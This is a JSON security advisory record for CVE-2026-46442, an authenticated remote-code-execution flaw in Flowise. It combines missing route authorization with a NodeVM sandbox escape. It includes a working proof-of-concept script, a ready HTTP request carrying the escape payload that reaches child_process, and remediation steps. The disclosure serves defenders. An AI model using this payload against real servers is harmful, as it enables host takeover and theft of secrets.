{"id":"CVE-2026-46442","aliases":["GHSA-9rvc-vf7m-pgm2"],"url":"https://o3.security/vulnerability/CVE-2026-46442","summary":"Flowise: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape","details":"### Summary\n\n`POST /api/v1/node-custom-function` lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the `Custom JS Function` node.\n\nWhen `E2B_APIKEY` is not configured — the common deployment case — Flowise executes this code inside a `NodeVM` sandbox. This sandbox can be escaped, allowing an attacker to reach the host `process` object and execute system commands via `child_process`.\n\nThe result is authenticated remote code execution on the Flowise server host. CVSS v3.1: `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.9 Critical**.\n\n### Details\n\nTwo distinct security boundaries are violated.\n\n**1. Missing route-level authorization**\n\n`packages/server/src/routes/node-custom-functions/index.ts` registers the endpoint with no permission middleware:\n\n```ts\nrouter.post('/', nodesRouter.executeCustomFunction)\n```\n\nOther sensitive routes in the same codebase use explicit permission gates:\n\n```ts\n// packages/server/src/routes/chatflows/index.ts\nrouter.post(\n  '/',\n  checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),\n  chatflowsController.saveChatflow\n)\n```\n\nGlobal `/api/v1` authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction.\n\n**2. NodeVM sandbox escape**\n\nThe endpoint forwards `body.javascriptFunction` through the following chain:\n\n```\nPOST /api/v1/node-custom-function\n  → packages/server/src/controllers/nodes/index.ts\n  → packages/server/src/utils/executeCustomNodeFunction.ts\n  → packages/components/nodes/utilities/CustomFunction/CustomFunction.ts\n    executeJavaScriptCode(javascriptFunction, sandbox)\n  → packages/components/src/utils.ts\n    if !process.env.E2B_APIKEY → NodeVM fallback\n  → [SINK] host process / child_process\n```\n\n`packages/components/src/utils.ts` only uses the external E2B sandbox when `E2B_APIKEY` is set. Otherwise it silently falls back to `@flowiseai/nodevm`:\n\n```ts\nconst shouldUseSandbox = useSandbox && process.env.E2B_APIKEY\n```\n\nFlowise explicitly frames this as a sandboxed execution path — the helper is named `createCodeExecutionSandbox`, its inline comment reads `Execute JavaScript code using either Sandbox or NodeVM`, and the NodeVM instance is configured with `eval: false`, `wasm: false`, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.\n\nThese controls do not prevent escape. The payload abuses an exception path where an `Error` object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host `Function` constructor (`e.constructor.constructor`), which can then access `process` and built-in modules such as `child_process`:\n\n```js\nconst FunctionCtor = e.constructor.constructor;\nconst cp = FunctionCtor('return process.getBuiltinModule(\"child_process\")')();\nreturn cp.execSync('id').toString().trim();\n```\n\nThe NodeVM fallback is the practical default. `packages/server/.env.example` and `CONTRIBUTING.md` do not require `E2B_APIKEY` for custom JS execution, so most deployments are affected.\n\n### PoC\n\n**Standalone verification** (run from the repository root with `E2B_APIKEY` unset):\n\n```js\n// poc_Flowise_NodeCustomFunction_RCE_2026.js\nconst path = require('path');\n\ndelete process.env.E2B_APIKEY;\nprocess.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });\n\nrequire(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));\n\nconst { nodeClass: CustomFunction } = require(path.resolve(\n  'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'\n));\n\nconst attackCode = `\nasync function f() {\n  const error = new Error();\n  error.name = Object.create(null);\n  return error.stack;\n}\nreturn await f().catch(e => {\n  const FunctionCtor = e.constructor.constructor;\n  const cp = FunctionCtor('return process.getBuiltinModule(\"child_process\")')();\n  return cp.execSync('id').toString().trim();\n});\n`;\n\n(async () => {\n  const node = new CustomFunction();\n  const result = await node.init(\n    { inputs: { javascriptFunction: attackCode } },\n    '',\n    { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }\n  );\n  console.log('[RCE OUTPUT]', result);\n})();\n```\n\nConfirmed output:\n\n```\n[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...\n```\n\n**HTTP trigger** (requires a valid API key or session):\n\n```http\nPOST /api/v1/node-custom-function HTTP/1.1\nHost: target:3000\nAuthorization: Bearer <valid-api-key>\nContent-Type: application/json\n\n{\n  \"javascriptFunction\": \"async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\\\"child_process\\\")')();return cp.execSync('id').toString().trim();});\"\n}\n```\n\n### Impact\n\nAny authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.\n\nThe NodeVM fallback is the default for any deployment without `E2B_APIKEY` configured, which covers the majority of self-hosted instances.\n\n**Recommended remediation:**\n1. Add explicit permission gating to `POST /api/v1/node-custom-function` using the existing `checkPermission` middleware pattern.\n2. Fail closed if `E2B_APIKEY` is absent — do not silently downgrade to NodeVM for untrusted code execution.\n3. Restrict this endpoint from generic API key access.","published":"2026-06-08T15:30:48.999Z","modified":"2026-08-12T03:51:29.327867445Z","cvss":null,"epss":{"score":0.3634,"percentile":0.98407,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"flowise","fixedVersion":"3.1.2"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46442.json"},{"type":"ADVISORY","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9rvc-vf7m-pgm2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46442"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:29.327867445Z"}}